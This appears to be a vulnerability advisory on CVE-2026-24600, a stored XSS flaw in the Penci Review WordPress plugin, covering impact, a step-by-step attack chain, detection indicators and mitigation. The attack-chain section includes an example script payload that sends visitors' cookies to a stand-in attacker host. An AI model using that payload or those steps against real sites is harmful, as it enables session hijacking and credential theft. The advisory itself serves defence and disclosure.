CVE-2026-24600: 
WordPress vulnerability analysis and mitigation

CVE-2026-24600 is a Stored Cross-Site Scripting (XSS) vulnerability in the PenciDesign Penci Review WordPress plugin (penci-review). It affects all versions of the plugin through 3.5 and was disclosed on January 23, 2026, with the CVE received from Patchstack. The vulnerability has a CVSS v3.1 base score of 6.5 (Medium), as assessed by Patchstack (NVD, Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An authenticated attacker with low privileges can inject malicious scripts into fields processed by the Penci Review plugin; these scripts are then persistently stored and executed in the browsers of other users who view the affected content. The attack vector is network-based, requires low privileges, and necessitates user interaction (a victim visiting the page containing the stored payload) to trigger execution (NVD, Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including administrators, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of victims, or defacement of review content. The scope is changed (cross-boundary), meaning the injected script can affect resources beyond the attacker's own session. Availability impact is assessed as low by Patchstack, with low confidentiality and integrity impacts (NVD).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2026-24600. The EPSS score is extremely low at 0.0001 (0.01%), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no threat actor attribution has been identified (Feedly).

1. Reconnaissance: Identify WordPress sites running the Penci Review plugin version 3.5 or earlier, using tools like WPScan or by inspecting plugin directories.
2. Obtain low-privilege access: Register or log in as a contributor or subscriber-level user on the target WordPress site.
3. Inject malicious payload: Submit a review or rating through the Penci Review plugin interface, embedding a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in an unsanitized input field.
4. Payload persistence: The malicious script is stored in the WordPress database as part of the review content.
5. Trigger execution: When an administrator or other user visits the page displaying the stored review, the injected script executes in their browser, enabling session cookie theft, credential harvesting, or other malicious actions (NVD, Patchstack).

• Logs: WordPress access logs showing POST requests to review submission endpoints from low-privilege accounts containing HTML/JavaScript tags or encoded script payloads in request bodies.
• Database: Review or comment entries in the WordPress database (wp_posts, wp_postmeta, or plugin-specific tables) containing <script>, javascript:, onerror=, or similar XSS patterns.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting pages with Penci Review content, potentially carrying cookie or session data.
• Browser/Client: Unexpected redirects or pop-ups experienced by users viewing review pages on affected WordPress sites.

Site administrators should update the Penci Review plugin to a version beyond 3.5 if a patched release is available from PenciDesign. If no patch is yet available, disabling the Penci Review plugin is the recommended interim workaround to eliminate the attack surface. Additionally, implementing a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts. Restricting plugin submission capabilities to trusted users only can reduce the risk of exploitation by low-privilege accounts (Patchstack).

The vulnerability was noted in the Wordfence Intelligence Weekly WordPress Vulnerability Report for the week of January 12–18, 2026, as part of a broader roundup of WordPress plugin vulnerabilities (Wordfence). No significant independent researcher commentary or notable social media discussion has been identified beyond standard vulnerability aggregator coverage.